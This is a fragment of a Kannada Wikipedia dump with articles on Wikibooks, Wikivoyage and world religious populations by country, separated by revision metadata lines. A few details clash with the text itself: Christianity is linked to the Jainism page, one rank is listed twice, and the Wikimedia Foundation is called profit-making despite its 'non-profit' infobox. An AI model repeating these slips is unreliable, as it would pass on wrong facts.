ಮತ್ತು ಮೂಲ ಅನುವಾದಗಳನ್ನು ಸಂಗ್ರಹಿಸುತ್ತದೆ, ಆದರೆ ವಿಕಿಬುಕ್ಸ್ ಅನ್ನು ಮೂಲ ಕೃತಿಗಳಿಗೆ ಸಮರ್ಪಿಸಲಾಗಿದೆ, ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಕೃತಿಗಳ ಗಮನಾರ್ಹವಾಗಿ ಬದಲಾದ ಆವೃತ್ತಿಗಳು ಅಥವಾ ಮೂಲ ಕೃತಿಗಳಿಗೆ ಟಿಪ್ಪಣಿಗಳು. ಹಲವಾರು ವಿಷಯಗಳ ಪಠ್ಯಪುಸ್ತಕಗಳನ್ನು ಪೂರ್ಣಗೊಳಿಸುವ ನಿಟ್ಟಿನಲ್ಲಿ ಈ ಯೋಜನೆಯು ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ, ಮುಖ್ಯವಾಹಿನಿಯ ಅಳವಡಿಕೆ ಮತ್ತು ಪಠ್ಯಪುಸ್ತಕಗಳ ಬಳಕೆಯನ್ನು ಅಲ್ಲಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಿ ಇರಿಸಲಾಗುತ್ತದೆ ಎಂದು ಸಂಸ್ಥಾಪಕರು ಭಾವಿಸುತ್ತಾರೆ. == ಕನ್ನಡ ವಿಕಿಪುಸ್ತಕ == ಕನ್ನಡ ವಿಕಿಪುಸ್ತಕ ಯೋಜನೆಯನ್ನು ಯಾವುದೇ ಕಾನೂನುಬದ್ಧ ವಿಷಯ ಮತ್ತು ಉಪಯುಕ್ತ ಚಟುವಟಿಕೆಯಿಲ್ಲದ ಕಾರಣ 28 ಅಕ್ಟೋಬರ್ 2007 ರಂದು ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲಾಯಿತು.<ref>https://meta.wikimedia.org/wiki/Proposals_for_closing_projects/Closure_of_Kannada_Wikibooks</ref> ಸದ್ಯಕ್ಕೆ ಕನ್ನಡ ವಿಕಿಪುಸ್ತಕದಲ್ಲಿ ಯಾವ ಪುಸ್ತಕವೂ ಇಲ್ಲ. == ಉಲ್ಲೇಖಗಳು == {{Reflist}} kwfcettwyhgf0fdlty1nxxu13x40mop ವಿಕಿ ವೋಯೇಜ್ 0 129489 1116458 1000123 2022-08-23T13:02:10Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox website|logo=[[File:Wikivoyage-Logo-v3-en.svg|150px|The current Wikivoyage logo]]|screenshot=[[File:Wikivoyage Splash.png|250px|Screenshot of the English Wikivoyage's new portal]]|caption=A screenshot of Wikivoyage's portal in 2012 (current as of February 2020)|url={{URL|http://www.wikivoyage.org/}}|commercial=No|type=[[Wiki]]|registration=Optional|language=21 active editions (Bengali, Chinese, Dutch, English, Finnish, French, German, Greek, Hebrew, Hindi, Italian, Pashto, Persian, Polish, Portuguese, Romanian, Russian, Spanish, Swedish, Ukrainian, Vietnamese)|owner=[[Wikimedia Foundation]] (non-profit)|author=Wikivoyage e.V. association|alexa={{IncreaseNegative}} 21,236 ({{as of|2020|02|02|alt=February 2020}})<ref name="alexa">{{cite web |title=wikivoyage.org Competitive Analysis, Marketing Mix and Traffic - Alexa |url=https://www.alexa.com/siteinfo/wikivoyage.org |website=www.alexa.com |accessdate=13 January 2020 |archive-date=26 ಮೇ 2010 |archive-url=https://web.archive.org/web/20100526031721/https://www.alexa.com/siteinfo/wikivoyage.org |url-status=dead }}</ref>|name=Wikivoyage|logocaption=|location=[[United States]]|content_license=[[CC BY-SA 3.0]]|launch_date=First version (German language) {{Start date and age|2006|12|10}}. English-language version {{Start date and age|2013|01|15}}}} '''ವಿಕಿವೊಯೇಜ್''' ಸ್ವಯಂಸೇವಕ ಲೇಖಕರು ಬರೆದ ಪ್ರಯಾಣದ ಸ್ಥಳಗಳು ಮತ್ತು ಪ್ರಯಾಣದ ವಿಷಯಗಳಿಗೆ ಉಚಿತ ಜಾಲತಾಣ ಆಧಾರಿತ ಪ್ರಯಾಣ ಮಾರ್ಗದರ್ಶಿಯಾಗಿದೆ . ಇದು ವಿಕಿಪೀಡಿಯದ ಸಹೋದರಿ ಯೋಜನೆಯಾಗಿದ್ದು, ಅದೇ ಲಾಭರಹಿತ [[ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನ|ವಿಕಿಮೀಡಿಯಾ ಪ್ರತಿಷ್ಠಾಣದಿಂದ]] ಬೆಂಬಲಿತವಾಗಿದೆ ಮತ್ತು ಆಯೋಜಿಸಲ್ಪಟ್ಟಿದೆ. ವಿಕಿವೊಯೇಜ್ ಅನ್ನು "ಪ್ರಯಾಣ ಮಾರ್ಗದರ್ಶಿಗಳ ವಿಕಿಪೀಡಿಯಾ" ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. <ref>{{Cite news|url=http://www.huffingtonpost.com/2013/01/22/wikivoyage-wikipedia-travel-industry_n_2475326.html|title=WikiVoyage, Wikipedia of travel guides, leaves beta to take on the travel industry|date=1 January 2013|access-date=11 March 2015|publisher=Huffington Post}}</ref> ಜರ್ಮನ್ ಮತ್ತು ನಂತರ ಇಟಾಲಿಯನ್ ಆವೃತ್ತಿಯ ವಿಕಿಟ್ರಾವೆಲ್‌ನ ಸಂಪಾದಕರು ಸೆಪ್ಟೆಂಬರ್ 2006 ರಲ್ಲಿ ತಮ್ಮ ಸಂಪಾದನೆ ಚಟುವಟಿಕೆಗಳನ್ನು ಮತ್ತು ನಂತರ ಪ್ರಸ್ತುತ ವಿಷಯವನ್ನು ಹೊಸ ಸೈಟ್‌ಗೆ ಸರಿಸಲು ನಿರ್ಧರಿಸಿದಾಗ, ಜಾಲತಾಣದ ಹಕ್ಕುಸ್ವಾಮ್ಯ ಪರವಾನಗಿಗೆ ಅನುಗುಣವಾಗಿ, " ಫೋರ್ಕಿಂಗ್ " ಎಂದು ಕರೆಯಲ್ಪಡುವ ಕಾರ್ಯವಿಧಾನವು ಪ್ರಾರಂಭವಾಯಿತು. ಪರಿಣಾಮವಾಗಿ ಬಂದ ಸೈಟ್ ಡಿಸೆಂಬರ್ 10, 2006 ರಂದು "ವಿಕಿವೊಯೇಜ್" ಆಗಿ ನೇರ ಪ್ರಸಾರವಾಯಿತು ಮತ್ತು ಆ ಉದ್ದೇಶಕ್ಕಾಗಿ ಸ್ಥಾಪಿಸಲಾದ ಜರ್ಮನ್ ಸಂಘವು ವಿಕಿವೊಯೇಜ್ ಇ. ವಿ. (ಇದು ಅದರ ಪ್ರತಿನಿಧಿ ಸಂಘವಾಗಿ ಮುಂದುವರೆದಿದೆ). ವಿಷಯವನ್ನು ಕಾಪಿಲೆಫ್ಟ್ ಪರವಾನಗಿ ಕ್ರಿಯೇಟಿವ್ ಕಾಮನ್ಸ್ ಅಟ್ರಿಬ್ಯೂಷನ್- ಶೇರ್ಅಲೈಕ್ ಅಡಿಯಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. 2012 ರಲ್ಲಿ, ತಮ್ಮ ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಆತಿಥೇಯರೊಂದಿಗಿನ ಸಮಸ್ಯೆಗಳ ಸುದೀರ್ಘ ಇತಿಹಾಸದ ನಂತರ, <ref name="wv faq">[http://meta.wikimedia.org/w/index.php?title=Wikivoyage/Migration/FAQ&oldid=4914831 Migration FAQ at Wikivoyage, 22:09, December 25, 2012]. Retrieved January 16, 2013.</ref> ವಿಕಿಟ್ರಾವೆಲ್‌ನ ಇಂಗ್ಲಿಷ್-ಭಾಷೆಯ ಆವೃತ್ತಿಯ ಸಮುದಾಯವು ತಮ್ಮ ಯೋಜನೆಯನ್ನು ಮುನ್ನುಗ್ಗಲು ಸಮುದಾಯವಾಗಿ ನಿರ್ಧರಿಸಿತು. ಎರಡು-ಮಾರ್ಗದ ಕ್ರಮದಲ್ಲಿ, ಇಂಗ್ಲಿಷ್ ವಿಕಿಟ್ರಾವೆಲ್ ಸಮುದಾಯವು ವಿಕಿವೊಯೇಜ್ನೊಂದಿಗೆ ವಿಕಿವೊಯೇಜ್ ಬ್ರ್ಯಾಂಡಿ‌ನಡಿಯಲ್ಲಿ ಮರು-ವಿಲೀನಗೊಂಡಿತು, ಮತ್ತು ಎಲ್ಲಾ ವಿಕಿವೊಯೇಜ್ ಭಾಷಾ ಆವೃತ್ತಿಗಳು ತಮ್ಮ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ವಿಕಿಮೀಡಿಯಾ ಫೌಂಡೇಶನ್ (ಡಬ್ಲ್ಯುಎಂಎಫ್) ಆಯೋಜಿಸಿವೆ, ಇದು ಹಲವಾರು ಲಾಭದಾಯಕ ಸಂಸ್ಥೆಯಾಗಿದೆ ವಿಕಿಪೀಡಿಯಾದಂತಹ ವಿಶ್ವದ ಅತಿದೊಡ್ಡ ವಿಕಿ ಆಧಾರಿತ ಸಮುದಾಯಗಳು. <ref>[http://governancexborders.com/2012/07/13/challenges-of-merging-communities-the-case-of-wikitravel-and-wikivoyage/ The Case of Wikitravel and Wikivoyage] Governance Across Borders, July 2012</ref> <ref>{{Cite web|url=http://skift.com/2012/07/13/wikipedia-parent-launch-travel-guide-wikitravel-rebels|title=Wikipedia parent to launch travel guide with Wikitravel rebels|date=July 13, 2012|publisher=Skift.com|access-date=January 16, 2013}}</ref> ಒಳಗೊಂಡಿರುವ ವಿವಿಧ ಸಮುದಾಯಗಳು ಮತ್ತು ವಿಕಿಮೀಡಿಯಾ ಫೌಂಡೇಶನ್‌ನ ಒಪ್ಪಂದಗಳನ್ನು ಅನುಸರಿಸಿ, ಸೈಟ್ ಅನ್ನು ಡಿಸೆಂಬರ್ 2012 ರಲ್ಲಿ ಡಬ್ಲ್ಯುಎಂಎಫ್ ಸರ್ವರ್‌ಗಳಿಗೆ ಸ್ಥಳಾಂತರಿಸಲಾಯಿತು ಮತ್ತು ಇಡೀ ವಿಕಿವೊಯೇಜ್ ಅನ್ನು ಅಧಿಕೃತವಾಗಿ [[ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನ|ವಿಕಿಮೀಡಿಯಾ ಯೋಜನೆಯಾಗಿ]] ಜನವರಿ 15, 2013 ರಂದು 12 ನೇ ವಾರ್ಷಿಕೋತ್ಸವದ ದಿನದಂದು ಅಧಿಕೃತವಾಗಿ ಪುನಃ ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ವಿಕಿಪೀಡಿಯ ಉಡಾವಣೆ. == ಉಲ್ಲೇಖಗಳು == {{Reflist|2}} t702an311kw8ju056ovvkbqdzdg3d46 ವಿಶ್ವದ ಧಾರ್ಮಿಕ ಜನಸಂಖ್ಯೆಯ ಪಟ್ಟಿ 0 133463 1116474 1019316 2022-08-23T13:23:35Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[File:Prevailing world religions map.png|thumb|right|400px|ಪ್ರತಿ ದೇಶದ ಮುಖ್ಯ ಧರ್ಮವನ್ನು ಸೂಚಿಸಲು ವಿಶ್ವ ನಕ್ಷೆ; ಬಣ್ಣ-ಕೋಡೆಡ್- (2020)]] *ಒಂದು ಪ್ರಮುಖ ಧರ್ಮವನ್ನು ವ್ಯಾಖ್ಯಾನಿಸುವ ಒಂದು ಮಾರ್ಗವೆಂದರೆ ಪ್ರಸ್ತುತ ಅನುಯಾಯಿಗಳ ಸಂಖ್ಯೆಯಿಂದ. ಧರ್ಮದ ಜನಸಂಖ್ಯೆಯ ಸಂಖ್ಯೆಯನ್ನು ಜನಗಣತಿ ವರದಿಗಳು ಮತ್ತು ಜನಸಂಖ್ಯಾ ಸಮೀಕ್ಷೆಗಳ ಸಂಯೋಜನೆಯಿಂದ ಲೆಕ್ಕಹಾಕಲಾಗುತ್ತದೆ (ಜನಗಣತಿಯಲ್ಲಿ ಧರ್ಮದ ಮಾಹಿತಿಯನ್ನು(ಡೇಟಾವನ್ನು) ಸಂಗ್ರಹಿಸದ ದೇಶಗಳಲ್ಲಿ, ಉದಾಹರಣೆಗೆ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಅಥವಾ ಫ್ರಾನ್ಸ್), ಆದರೆ ಪ್ರಶ್ನೆಗಳನ್ನು ರಚಿಸುವ ವಿಧಾನವನ್ನು ಅವಲಂಬಿಸಿ ಫಲಿತಾಂಶಗಳು ವ್ಯಾಪಕವಾಗಿ ಬದಲಾಗಬಹುದು, ಬಳಸಿದ ಧರ್ಮದ ವ್ಯಾಖ್ಯಾನಗಳು ಮತ್ತು ಸಮೀಕ್ಷೆಯನ್ನು ನಡೆಸುವ ಏಜೆನ್ಸಿಗಳು ಅಥವಾ ಸಂಸ್ಥೆಗಳ ಪಕ್ಷಪಾತ. ಅನೌಪಚಾರಿಕ ಅಥವಾ ಅಸಂಘಟಿತ ಧರ್ಮಗಳನ್ನು ಎಣಿಸುವುದು ವಿಶೇಷವಾಗಿ ಕಷ್ಟ. *ವಿಶ್ವದ ಜನಸಂಖ್ಯೆಯ ಧಾರ್ಮಿಕತೆಯ ವಿವರವನ್ನು ನಿರ್ಧರಿಸುವ ಅತ್ಯುತ್ತಮ ವಿಧಾನದ ಬಗ್ಗೆ ಸಂಶೋಧಕರಲ್ಲಿ ಒಮ್ಮತವಿಲ್ಲ. ಹಲವಾರು ಮೂಲಭೂತ ಅಂಶಗಳು ಬಗೆಹರಿಯದವು:<ref>Norris; Ronald Inglehart (6 January 2007), “Sacred and Secular, Religion and Politics Worldwide”, Cambridge University Press, pp. 43–44, retrieved29 December 2006</ref> ===ಜಗತ್ತಿನ ಧಾರ್ಮಿಕ ಜನಸಂಖ್ಯೆಯ ಪಟ್ಟಿ=== :ಇದು ಜಗತ್ತಿನ ದೇಶಗಳಲ್ಲಿಯ ಧಾರ್ಮಿಕ ಅನುಯಾಯಿಗಳ ಒಟ್ಟು ಜನಸಂಖ್ಯೆಯ ಪಟ್ಟಿ. *ಒಂದು ಬಿಲಿಯನ್ -= ನೂರು ಕೋಟಿ; ಒಂದಿ ಮಿಲಿಯನ್- = ಹತ್ತು ಲಕ್ಷ. {| class="wikitable" |- ! ಕ್ರ.ಸಂಖ್ಯೆ !! ಧರ್ಮ !! ಅನುಯಾಯಿಗಳು !! ಶೇಕಡಾವಾರು |- |1 || [[ಜೈನ ಧರ್ಮ|ಕ್ರಿಶ್ಚಿಯನ್ ಧರ್ಮ]] || 2.382 billion || 31.4%[1] |- |2 || [[ಇಸ್ಲಾಂ]] || 1.907 billion || 23.2%[1] |- |3 || [[ಜಾತ್ಯತೀತ]] [ಎ] / ಅಪ್ರಸ್ತುತ [ಬಿ] / ಅಜ್ಞೇಯತಾವಾದಿ / ನಾಸ್ತಿಕ || 1.193 billion || 15.6% |- |4 || [[ಹಿಂದೂ ಧರ್ಮ]]|| 1.161 billion || 15.2% |- |5 || [[ಬೌದ್ಧಧರ್ಮ]] || 506 million || 6.6% |- |6 || ಚೀನೀ ಸಾಂಪ್ರದಾಯಿಕ ಧರ್ಮ [ಸಿ] [c]|| 394 million || 5% |- |7 || ಕೆಲವು ಪ್ರತ್ಯೇಕ ವರ್ಗಗಳಲ್ಲಿ ಹೊರತುಪಡಿಸಿ ಜನಾಂಗೀಯ ಧರ್ಮಗಳು|| 300 million || 3% |- |8 || ಆಫ್ರಿಕನ್ ಸಾಂಪ್ರದಾಯಿಕ ಧರ್ಮಗಳು || 100 million[4]|| 1.2% |- |9 || [[ಸಿಖ್ ಧರ್ಮ]] || 26 million || 0.30% |- |10 || ಆಧ್ಯಾತ್ಮಿಕತೆ || 15 million || 0.19% |- |11 || ಜುದಾಯಿಸಂ || 14.7 million[5]|| 0.18% |- |12 || ಬಹಾಯಿ || 5.0 million[6]|| 0.07% |- |13 || [[ಜೈನ ಧರ್ಮ]] || 4.2 million || 0.05% |- |14 || ಶಿಂಟೋ || 4.0 million || 0.05% |- |15 || ಕಾವೊ ಡೈ || 4.0 million || 0.05% |- |16 || ಝೋರಾಷ್ಟ್ರಿಯನಿಸಂ || 2.6 million || 0.03% |- |17 || ಟೆನ್ರಿಕಿಯೊ T|| 2.0 million || 0.02% |- |18 || ಆನಿಮಿಸಂ || 1.9 million || 0.02% |- |19 || ನವ-ಪೇಗನಿಸಂ || 1.0 million || 0.01% |- |20 || ಯುನಿಟೇರಿಯನ್ ಯೂನಿವರ್ಸಲಿಸಮ್ || 0.8 million || 0.01% |- |21 || ರಾಸ್ತಫಾರಿ || 0.6 million || 0.007% |- |[[22]] || ಒಟ್ಟು || 7.79 billion || 100% |- |} <ref>[https://www.pewforum.org/2015/04/02/religious-projection-table/2010/number/all/ Religious Composition by Country, 2010-2050-APRIL 2, 2015]</ref> <ref>"The World Factbook". Cia.gov. Archived from the original on 25 October 2017. Retrieved 14 February 2015.</ref> <ref>"Catholic Church". Gcatholic.org. Archived from the original on 28 July 2017. Retrieved 14 February 2015.</ref> <ref>"The World Factbook". Cia.gov. Archived from the original on 28 January 2018. Retrieved 14 February 201</ref> ==ಟಿಪ್ಪಣಿಗಳು== *1. Figures ಈ ಅಂಕಿಅಂಶಗಳು ಜಾತ್ಯತೀತ / ನಾಮಮಾತ್ರದ ಅನುಯಾಯಿಗಳು ಮತ್ತು ಸಿಂಕ್ರೆಟಿಸ್ಟ್ ಆರಾಧಕರ ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿರಬಹುದು, ಆದರೂ ಸಿಂಕ್ರೆಟಿಸಮ್ ಪರಿಕಲ್ಪನೆಯು ಕೆಲವರು ವಿವಾದಾಸ್ಪದವಾಗಿದೆ *2. ಅಪ್ರಸ್ತುತವು ಅಜ್ಞೇಯತಾವಾದಿ, ನಾಸ್ತಿಕ, ಜಾತ್ಯತೀತ ಮಾನವತಾವಾದಿ ಮತ್ತು 'ಯಾವುದೂ ಇಲ್ಲ' ಅಥವಾ ಧಾರ್ಮಿಕ ಆದ್ಯತೆ ಇಲ್ಲ ಎಂದು ಉತ್ತರಿಸುವ ಜನರನ್ನು ಒಳಗೊಂಡಿದೆ. ಈ ಗುಂಪಿನ ಅರ್ಧದಷ್ಟು ಆಸ್ತಿಕ ಆದರೆ ಅಪ್ರಸ್ತುತ. [2] ಗ್ಯಾಲಪ್ ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌ನ 2012 ರ ಅಧ್ಯಯನದ ಪ್ರಕಾರ, "ವಿಶ್ವದ 59% ಜನರು ತಮ್ಮನ್ನು ತಾವು ಧಾರ್ಮಿಕ ವ್ಯಕ್ತಿ ಎಂದು ಭಾವಿಸುತ್ತಾರೆ, 23% ಜನರು ತಮ್ಮನ್ನು ತಾವು ಧಾರ್ಮಿಕರಲ್ಲ ಎಂದು ಭಾವಿಸುತ್ತಾರೆ, ಆದರೆ 13% ಜನರು ತಮ್ಮನ್ನು ಮನವರಿಕೆಯಾದ ನಾಸ್ತಿಕರು ಎಂದು ಭಾವಿಸುತ್ತಾರೆ". [3] *3. ಚೀನೀ ಸಾಂಪ್ರದಾಯಿಕ ಧರ್ಮವನ್ನು "ಬಹುಸಂಖ್ಯಾತ ಚೀನೀ ಸಂಸ್ಕೃತಿಯ ಸಾಮಾನ್ಯ ಧರ್ಮ: ಕನ್ಫ್ಯೂಷಿಯನಿಸಂ, ಬೌದ್ಧಧರ್ಮ ಮತ್ತು ಟಾವೊ ತತ್ತ್ವದ ಸಂಯೋಜನೆ, ಜೊತೆಗೆ ಸಾಂಪ್ರದಾಯಿಕ ಧರ್ಮಗ್ರಂಥೇತರ / ಸ್ಥಳೀಯ ಆಚರಣೆಗಳು ಮತ್ತು ನಂಬಿಕೆಗಳು" ಎಂದು ವಿವರಿಸಲಾಗಿದೆ. ===ಕ್ರಿಶ್ಚಿಯನ್ ಜನಸಂಖ್ಯೆಯು ಹೆಚ್ಚು ಇರುವ ದೇಶಗಳ ಪಟ್ಟಿ=== [[File:Percent of Christians by Country–Pew Research 2011.svg|thumb|ದೇಶದಿಂದ ಕ್ರಿಶ್ಚಿಯನ್ನರ ಶೇಕಡಾ- ನೋಟ- ರಿಸರ್ಚ್- 2011]] *ಎಡಭಾಗದಲ್ಲಿ: '''ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ಕ್ರೈಸ್ತರಿರುವ''' ಮೊದಲ ಹತ್ತು ದೇಶಗಳ ಪಟ್ಟಿ. ಬಲಭಾಗದಲ್ಲಿ: ಕ್ರಿಶ್ಚಿಯನ್ ಜನಸಂಖ್ಯೆಯ '''ಹೆಚ್ಚಿನ ಶೇಕಡಾವಾರು''' ಜನಸಂಖ್ಯೆಯ ಮೊದಲ ಹತ್ತು ದೇಶಗಳ ಪಟ್ಟಿ. <ref>[https://www.pewforum.org/2011/12/19/table-christian-population-as-percentages-of-total-population-by-country/ DECEMBER 19, 2011 Table: Christian Population as Percentages of Total Population by Country]</ref> <ref>{{Cite web |url=https://www.cia.gov/library/publications/the-world-factbook/geos/xx.html |title=33.39% of ~7.2 billion world population (under the section 'People') "World". CIA world facts. |access-date=2020-11-30 |archive-date=2010-01-05 |archive-url=https://web.archive.org/web/20100105171656/https://www.cia.gov/library/publications/the-world-factbook/geos/xx.html |url-status=dead }}</ref> {| class="wikitable" |- !ಶ್ರೇಣಿ || ದೇಶ || ಕ್ರಿಶ್ಚಿಯನ್ನರು || % ಕ್ರಿಶ್ಚಿಯನ್ನರು |||| ದೇಶ ||ಶೇಕಡಾ-% ಕ್ರಿಶ್ಚಿಯನ್ನರು|| ಕ್ರಿಶ್ಚಿಯನ್ನರು |- |1 || [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್]] || 213,000,000 || 65% |||| ವ್ಯಾಟಿಕನ್ ನಗರ || 100% || 800 |- |2 || [[ಬ್ರೆಜಿಲ್]] || 175,700,000 || 91.4% |||| ರೊಮೇನಿಯಾ || 99% || 21,490,000 |- |3 || [[ಮೆಕ್ಸಿಕೊ]] || 122,500,000 || 95% |||| ಪಪುವಾ ನ್ಯೂಗಿನಿಯಾ || 99% || 6,860,000 |- |4 || [[ರಷ್ಯಾ]] || 117,640,000 || 78% |||| ಟೋಂಗಾ || 99% || 100,000 |- |5 || [[ಫಿಲಿಪೈನ್ಸ್]] || 110,644,000 || 85% |||| ಅರ್ಮೇನಿಯಾ || 98.5% || 3,090,000 |- |6 || [[ನೈಜೀರಿಯಾ]] || 92,281,000 || 52.8% |||| ನಮೀಬಿಯಾ || 97.6% || 2,280,000 |- |7 || [[ಕಾಂಗೋ]], ಡೆಮಾಕ್ರಟಿಕ್ ರಿಪಬ್ಲಿಕ್ ಆಫ್ || 68,558,000 || 95.6% |||| ಮಾರ್ಷಲ್ ದ್ವೀಪಗಳು || 97.5% || 50,000 |- |8 || [[ಇಥಿಯೋಪಿಯಾ]] || 54,978,000 || 64.5% |||| ಮೊಲ್ಡೊವಾ || 97.5% || 3,570,000 |- | 9 || [[ಇಟಲಿ]] || 54,070,000 || 91.5% |||| ಜಾಂಬಿಯಾ || 97.5% || 13,090,000 |- | 10 || [[ಜರ್ಮನಿ]] || 47,200,000 ||57.3%|||| ಗ್ರೀಸ್|| 93% || 10,000,000 |- |} ===ಇಸ್ಲಾಮ್ ಧರ್ಮದ ಜನಸಂಖ್ಯೆಯು ಹೆಚ್ಚು ಇರುವ ದೇಶಗಳ ಪಟ್ಟಿ=== *ಒಂದು ಕೋಟಿಗೂ ಹೆಚ್ಚಿನ ಇಸ್ಲಾಂ ಧರ್ಮದ ಜನಸಂಖ್ಯೆ ಇರುವ ಮೊದಲ ಮೂವತ್ತೆರಡು ದೇಶಗಳ ಪಟ್ಟಿ. <ref>https://www.pewforum.org/2012/12/18/table-religious-composition-by-country-in-percentages/</ref> {| class="wikitable" |- ! ಕ್ರಮಸಂಖ್ಯೆ!!ದೇಶ!! ಪ್ರದೇಶದ ಒಟ್ಟು ಜನಸಂಖ್ಯೆ!! ಮುಸ್ಲಿಂ ಜನಸಂಖ್ಯೆ !!ಒಟ್ಟು ಜನಸಂಖ್ಯೆಯ ಮುಸ್ಲಿಂ ಶೇಕಡಾವಾರು (%)!! ವಿಶ್ವ ಮುಸ್ಲಿಂ ಜನಸಂಖ್ಯೆಯ ಶೇಕಡಾ (%) |- | 1 || ಇಂಡೋನೇಷ್ಯಾ || 263,000,000 || 229,000,000 || 87.2 || 12.7 |- | 2 || ಪಾಕಿಸ್ತಾನ || 210,000,000 || 202,650,000 || 96.5 || 11.1 |- | 3 || ಭಾರತ || 1,370,000,000 || 195,000,000 || 14.2 || 10.9 |- | 4 || ಬಾಂಗ್ಲಾದೇಶ || 170,000,000 || 153,700,000 || 90.4 || 9.2 |- | 5 || ನೈಜೀರಿಯಾ || 200,000,000 ||95,000,000; ರಿಂದ|| 53.5 || 5.3 |- | || (ನೈಜೀರಿಯಾ) || || 103,000,000 || || |- | 6 || ಈಜಿಪ್ಟ್ || 95,000,000 || 85,000,000– ರಿಂದ || 90–94.7 || 4.9 |- | || (ಈಜಿಪ್ಟ್) || || 90,000,000 || || |- | 7 || ಇರಾನ್ || 83,000,000 || 82,500,000 || 99.4 || 4.6 |- | 8 || ಟರ್ಕಿ || 83,155,000 || 74,423,725 || 89.5 || 4.6 |- | 9 || ಅಲ್ಜೀರಿಯಾ || 41,657,488 || 41,240,913 || 99 || 2.7 |- | 10 || ಸುಡಾನ್ || 40,825,770 || 39,585,777 || 97 || 1.9 |- | 11 || ಇರಾಕ್ || 40,194,216 || 38,465,864 || 95.7 || 1.9 |- | 12 || ಮೊರಾಕೊ || 38,314,130 || 37,930,989 || 99 || 2.1 |- | 13 || ಅಫ್ಘಾನಿಸ್ತಾನ || 37,135,000 || 37,025,000 || 99.7 || 2.0 |- | 14 || ಇಥಿಯೋಪಿಯಾ || 105,000,000 || 35,600,000 || 33.9 || 1.8 |- | 15 || ಸೌದಿ ಅರೇಬಿಯಾ || 34,220,000 || 33,535,000 || 98.2 || 1.8 |- | 16 || ಉಜ್ಬೇಕಿಸ್ತಾನ್ || 34,036,800 || 29,920,000 || 88.7 || 1.7 |- | 17 || ಯೆಮೆನ್ || 28,036,829 || 27,784,498 || 99.2 || 1.5 |- | 18 || ನೈಜರ್ || 21,466,863 || 21,101,926 || 98.3 || 1 |- | 19 || ಟಾಂಜಾನಿಯಾ || 54,199,163 || 19,426,814 || 35.2 || 0.8 |- | 20 || ಮಾಲಿ || 18,429,893 || 17,508,398 || 95 || 0.8 |- | 21 || ಮಲೇಷ್ಯಾ || 31,809,660 || 16,318,355 || 61.3 || 1.1 |- | 22 || ಸಿರಿಯಾ || 18,000,000 || 16,000,000 || 87 || 1 |- | 23 || ಸೆನೆಗಲ್ || 15,726,037 || 15,112,721 || 96.1 || 0.8 |- | 24 || ರಷ್ಯಾ || 144,350,000/|| 14,000,000- ರಿಂದ|| 10-15 || 1.7 [A] |- | || (ರಷ್ಯಾ) || 146,750,000 || 22,000,000 || || |- | 25 || ಕಜಕಿಸತಾನ || 18,744,548 || 13,158,672 || 70.2 || 0.5 |- | 26 || ಡಿಆರ್ ಕಾಂಗೋ || 85,281,024 || 12,792,153 || 10 || 0.1 |- | 27 || ಬುರ್ಕಿನಾ ಫಾಸೊ || 19,742,715 || 12,141,769 || 61.5 || 0.6 |- | 29 || ಐವರಿ ಕೋಸ್ಟ್ || 26,260,582 || 11,265,789 || 42.9 || 0.5 |- | 29 || ಟುನೀಶಿಯಾ || 11,446,300 || 11,190,000 || 99.8 || 0.6 |- | 30 || ಸೊಮಾಲಿಯಾ || 11,000,000 || 10,978,000 || 99.8 || 0.6 |- | 31 || ಗಿನಿಯಾ || 11,855,411 || 10,563,171 || 89.1 || 0.5 |- | 32 || ಜೋರ್ಡಾನ್ || 10,458,413 || 10,165,577 || 97.2 || 0.4 |- |} <ref>"Religious Composition by Country, in Percentages'". Pew Research. Retrieved 17 August 2020.</ref> ====ಶೇಕಡಾವಾರು (%)/ಹೆಚ್ಚಿನ ಇಸ್ಲಾಂ ಧರ್ಮದ ಜನಸಂಖ್ಯೆಯ ಮೊದಲ ಹತ್ತು ದೇಶಗಳ ಪಟ್ಟಿ==== {| class="wikitable" |- !ಶ್ರೇಣಿ !! ದೇಶ!!ಒಟ್ಟು ಜನಸಂಖ್ಯೆ !!ಮುಸ್ಲಿಂ ಜನಸಂಖ್ಯೆ !!ಮುಸ್ಲಿಂ ಶೇಕಡಾವಾರು (%) || ವಿಶ್ವ ಮುಸ್ಲಿಂ ಜನಸಂಖ್ಯೆಯ ಶೇಕಡಾವಾರು (%) |- |1 || ಮಾಲ್ಡೀವ್ಸ್ || 374,775 || 374,775 || 100 || < 0.1 |- |2 || ಮೌರಿಟಾನಿಯಾ ||3,845,430 || 3,840,430 || 99.9 || 0.2 |- |3 || ಸೊಮಾಲಿಯಾ ||11,000,000 || 10,978,000 || 99.8 || 0.6 |- |4 || ಟುನೀಶಿಯಾ ||11,446,300 || 11,190,000 || 99.8 || 0.6 |- |5 || ಅಫ್ಘಾನಿಸ್ತಾನ ||37,135,000 || 37,025,000 || 99.7 || 2.0 |- |6 || ಇರಾನ್ || 83,000,000 || 82,500,000 || 99.4 || 4.6 |- |7 || ಪಶ್ಚಿಮ ಸಹಾರಾ ||603,253 || 599,633 || 99.4 || < 0.1 |- |8 || ಯೆಮೆನ್ || 28,036,829 || 27,784,498 || 99.2 || 1.5 |- |9 || ಅಲ್ಜೀರಿಯಾ ||41,657,488 || 41,240,913 || 99 || 2.7 |- |10 || ಮೊರಾಕೊ ||38,314,130 || 37,930,989 || 99 || 2.1 |- | <ref>https://www.pewforum.org/2012/12/18/table-religious-composition-by-country-in-percentages/ religious-composition-by-country-in-percentages</ref> |- |} 